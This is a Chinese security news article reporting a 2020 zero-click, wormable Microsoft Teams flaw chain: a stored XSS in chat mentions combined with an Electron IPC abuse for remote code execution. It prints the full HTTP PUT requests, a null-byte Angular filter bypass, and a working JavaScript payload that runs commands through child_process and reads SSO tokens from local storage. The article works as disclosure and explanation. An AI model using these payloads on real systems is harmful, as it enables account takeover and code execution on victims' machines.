2023年发布的最新Teams是什么架构 teams for_mooc

 聚焦源代码安全,网罗国内外最新资讯!

编译:奇安信代码卫士团队

2023年发布的最新Teams是什么架构 teams for_iot_02

Evolution Gaming 公司的安全工程师 Vegeris 发布了位于微软 Teams 中的五个可蠕虫、跨平台的0day或一次点击可造成 RCE的漏洞。他指出,微软将这些漏洞评级为范围内最低级别,目前他公开了其中的一个 XSS 漏洞详情。

2023年发布的最新Teams是什么架构 teams for_数据安全_03

微软 Teams 是像 Slack 和 Zoom 的企业产品,日活用户约1.15亿名,广泛部署在微软 Office 365 的产品家族中。Teams 是一款专有的业务通信平台,为用户提供工作空间聊天、文件存储和共享、app 集成和视频会议能力。

Important, Spoofing

Vegeris 指出,微软安全响应中心认为该漏洞链属于 O365 云漏洞奖励计划中的“重要的”(严重性评级)、“欺骗”(影响力)(Important, Spoofing)漏洞,即给出了范围内的最低评级。

Vegeris 表示,微软确实将这些漏洞对该桌面 app 的评级定为“严重的,远程代码执行(RCE)”,但仅能获得“微软积分”即登上 “MSRC 积分榜“。如下是作者的详述。

真正的影响:零点击的RCE

攻击者只需向受害者发送或编辑看似完全正常的现有信息,而受害者只需查看该信息即可执行代码,而无需其它任何交互,可导致公司的内部网络、个人文档、O365文档/邮件/笔记、机密聊天信息完全受陷。只需一条信息、一个信道、无交互,所有人遭攻击。

如果收件人自动将信息发布在 Teams 或信道中,则可导致所有人受陷,成为其它组织机构的 guest,因此该漏洞是可蠕虫的,至少可在某个组织机构的微软 Teams 网络中传播。而所有这一切仅需一个非交互性的单个 HTTP 请求即可实现。

2023年发布的最新Teams是什么架构 teams for_adb_04

Vegeris 指出,自己在三个月内曾试图将影响告知微软,但得到的最终结论并未改变,且被指“不在范围内“。

概括而言:

  • 该漏洞无需交互,影响所有的通信线程类型:非公开、线程、组等。
  • 自我复制蠕虫:受害者将 payload 再次发给所有联系人、组。所有人再发送给联系人、组(guest 也可访问其它组织机构)。
  • 所有组织机构用户窃取 SSO 令牌:你可通过账户劫持中的 XSS 漏洞访问所有 SSO O365 令牌,如公司邮件、文档、笔记等。
  • 访问 MS Teams 中的私密会话、信息、文件、通话日志等。
  • 提权至组织机构级别的 MS Teams 管理员权限
  • 通过 XSS 访问麦克风/摄像头(至少在 Chrome Web 版本中可实现)
  • 无需受害者交互即可在受害者设备上执行任意命令,且是跨平台漏洞(macOS、Windows、Linux)
  • 终端用户完全丧失机密性和完整性:访问 MS Teams 之外的私密聊天信息、文件、内网、私钥和个人数据。
  • 击键记录,访问麦克风、摄像头等。

受影响产品

  • 微软 Teams (teams.microsoft.com):XSS
  • 微软 Teams macOS v1.3.00.23764(2020年8月31日为止最新版)
  • 微软 Teams Windows v1.3.00.21759(2020年8月31日为止最新版)
  • 微软 Teams Linux v1.3.00.16851 (2020年8月31日为止最新版)

漏洞详情

漏洞报告中包含被组合利用的一个新的 XSS 向量和一个新的 RCE payload,影响微软 Teams 中的聊天系统,可用于直接信息、信道中。

要在微软 Teams 中实现 RCE,需要组合利用两个漏洞:

  • Teams.microsoft.com 聊天功能(位于用户 “mentions” 功能中)中的存储型 XSS
  • 针对 MS Teams 桌面客户端的新型跨平台的特殊构造的 JS exploit

teams.microsoft.com 中的存储型 XSS

复现步骤:

1、在直接通信或信道中输入一条聊天信息,在该聊天中提到一名用户或自定义标记

2、编辑含有该mention 的聊天信息并用 Burp Suite 等 HTTP 代理拦截。

在 mention 功能中,易受攻击的参数是 JSON 信息结构 { content: "...", properties: { "mentions" : "[{ displayName: PAYLOAD HERE }]" 中的 displayName。

请求如下,注意 displayName:

PUT /v1/users/ME/conversations/19%3A9bc6400d2fc7443487491898c6803e46%40thread.tacv2/messages/1598607494949 HTTP/1.1
Host: emea.ng.msg.teams.microsoft.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:81.0) Gecko/20100101 Firefox/81.0
Accept: json
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/json
Authentication: skypetoken=...snip...
ClientInfo: os=macos; osVer=10; proc=x86; lcid=en-us; deviceType=1; country=us; clientName=skypeteams; clientVer=1415/1.0.0.2020080725; utcOffset=+03:00
BehaviorOverride: redirectAs404
Content-Length: 1174




{"content":"<div><div>\n<div>\n<div>\n<div>\n<div><span itemscope itemtype=\"http://schema.skype.com/Mention\" itemid=\"0\">dada</span></div>\n</div>\n</div>\n</div>\n</div>\n</div>","messagetype":"RichText/Html","contenttype":"text","amsreferences":[],"clientmessageid":"9868848366534370000","imdisplayname":"Oskars Vegeris","properties":{"importance":"","subject":null,"mentions":"[{\"@type\":\"http://schema.skype.com/Mention\",\"itemid\":0,\"tagId\":\"tHab2TLzpa\",\"mri\":\"tHab2TLzpa\",\"mentionType\":\"tag\",\"displayName\":\"x marks the spot\"}]"}}

以unicode \u0000 格式注入一个空字节字符即可绕过 Angular 表达式过滤:

{{3*333}\u0000}

要访问用户的本地存储和所有的 SSO 令牌,使用如上 HTTP PUT 请求中的 displayName 中的 payload:

{{['if(typeof onetime==`undefined`){onetime=1;console.log(localStorage);}'].forEach($root.$$childHead.$$nextSibling.app.$window.eval)}\u0000}

SSO 令牌日志的完整 HTTP 请求:

PUT /v1/users/ME/conversations/19%3A9bc6400d2fc7443487491898c6803e46%40thread.tacv2/messages/1598607494949 HTTP/1.1
Host: emea.ng.msg.teams.microsoft.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:81.0) Gecko/20100101 Firefox/81.0
Accept: json
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/json
Authentication: skypetoken=...snip...
ClientInfo: os=macos; osVer=10; proc=x86; lcid=en-us; deviceType=1; country=us; clientName=skypeteams; clientVer=1415/1.0.0.2020080725; utcOffset=+03:00
BehaviorOverride: redirectAs404
Content-Length: 1174




{"content":"<div><div>\n<div>\n<div>\n<div>\n<div><span itemscope itemtype=\"http://schema.skype.com/Mention\" itemid=\"0\">dada</span></div>\n</div>\n</div>\n</div>\n</div>\n</div>","messagetype":"RichText/Html","contenttype":"text","amsreferences":[],"clientmessageid":"9868848366534370000","imdisplayname":"Oskars Vegeris","properties":{"importance":"","subject":null,"mentions":"[{\"@type\":\"http://schema.skype.com/Mention\",\"itemid\":0,\"tagId\":\"tHab2TLzpa\",\"mri\":\"tHab2TLzpa\",\"mentionType\":\"tag\",\"displayName\":\"x marks the spot{{['if(typeof onetime==`undefined`){onetime=1;console.log(localStorage);}'].forEach($root.$$childHead.$$nextSibling.app.$window.eval)}\u0000}\"}]"}}

它将把用户的本地存储记录为 XSS PoC。

如此,无需任何进一步的措施。该聊天中的所有用户将会开始记录可被渗透的 SSO 令牌。

读者可检查微软 Teams 桌面或任意浏览器中的开发工具进行验证。

远程代码执行和 payload

作者开发了一个新型 RCE payload,绕过了微软 Teams 桌面当前执行的所有限制条件(远程、节点集成、Webview 预加载过滤等),即使启用了 contextIsolation 也起作用。

cmd = `open /Applications/Calculator.app` // change to windows/linux command as required


stage1 = `data:text/plain,cp=require('child_process');cp.exec('${cmd}')`; // create a virtual file to download
this.electronSafeIpc.send(`desktopFileDownload`, stage1); // request to download file


// implement an event handler when files downloaded to trigger payload
this.electronSafeIpc.on(`desktop-file-download-finished`, (_, fileinfo) => { 
        f = fileinfo.uniqueFile.filePath; // event gives us file path which we don't know beforehand
        
        // create a new webview mockup - window with a webview tag and our virtual, downloaded file as preload
        stage2 = `data:text/html,<webview src='about:blank' preload='file:///${f}'></webview>`
        this.electronSafeIpc.send(`allowWindowOpenUrl`, stage2); // abusing MS Teams IPC API to allow above URL
        this.w = window.open(stage2); // URL gets opened, webview gets created with our virtual, downloaded file preload
        setTimeout(()=>{this.w.close()},1000) // not necessary, but let's close the custom window
    }
)

HTTP PUT 请求的简短版,改进后,每次重加载时仅执行一次:

{{['if(typeof mentiontime==`undefined`){mentiontime=1;stage1=`data:text/plain,cp=require(\\\"child_process\\\");cp.exec(\\\"open /System/Applications/Calculator.app\\\")`;this.electronSafeIpc.send(`desktopFileDownload`,stage1);this.electronSafeIpc.on(`desktop-file-download-finished`,(_,fileinfo)=>{f=fileinfo.uniqueFile.filePath;stage2=`data:text/html,<webview src=\\\"about:blank\\\" preload=\\\"file:///${f}\\\"></webview>`;this.electronSafeIpc.send(`allowWindowOpenUrl`,stage2);this.w=window.open(stage2);setTimeout(()=>{this.w.close()},2000)})}'].forEach($root.$$childHead.$$nextSibling.app.$window.eval)}\u0000}

完整的含 RCE payload 的 HTTP PUT 请求:

PUT /v1/users/ME/conversations/19%3A9bc6400d2fc7443487491898c6803e46%40thread.tacv2/messages/1598607494949 HTTP/1.1
Host: emea.ng.msg.teams.microsoft.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:81.0) Gecko/20100101 Firefox/81.0
Accept: json
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/json
Authentication: ...snip...
ClientInfo: os=macos; osVer=10; proc=x86; lcid=en-us; deviceType=1; country=us; clientName=skypeteams; clientVer=1415/1.0.0.2020080725; utcOffset=+03:00
BehaviorOverride: redirectAs404
Content-Length: 1174




{"content":"<div><div>\n<div>\n<div>\n<div>\n<div><span itemscope itemtype=\"http://schema.skype.com/Mention\" itemid=\"0\">dada</span></div>\n</div>\n</div>\n</div>\n</div>\n</div>","messagetype":"RichText/Html","contenttype":"text","amsreferences":[],"clientmessageid":"9868848366534370000","imdisplayname":"Oskars Vegeris","properties":{"importance":"","subject":null,"mentions":"[{\"@type\":\"http://schema.skype.com/Mention\",\"itemid\":0,\"tagId\":\"tHab2TLzpa\",\"mri\":\"tHab2TLzpa\",\"mentionType\":\"tag\",\"displayName\":\"x marks the spot{{['if(typeof mentiontime==`undefined`){mentiontime=1;stage1=`data:text/plain,cp=require(\\\"child_process\\\");cp.exec(\\\"open /System/Applications/Calculator.app\\\")`;this.electronSafeIpc.send(`desktopFileDownload`,stage1);this.electronSafeIpc.on(`desktop-file-download-finished`,(_,fileinfo)=>{f=fileinfo.uniqueFile.filePath;stage2=`data:text/html,<webview src=\\\"about:blank\\\" preload=\\\"file:///${f}\\\"></webview>`;this.electronSafeIpc.send(`allowWindowOpenUrl`,stage2);this.w=window.open(stage2);setTimeout(()=>{this.w.close()},2000)})}'].forEach($root.$$childHead.$$nextSibling.app.$window.eval)}\u0000}\"}]"}}

注意:更改命令,当前为 macOS Catalina 设置的是:open /System/Applications/Calculator.app。仅需访问聊天,无需任何用户交互即可执行任意代码。

演示视频

编校后的 Payload:用户不可见(无新窗口)

2023年发布的最新Teams是什么架构 teams for_adb_04

Payload(有新窗口)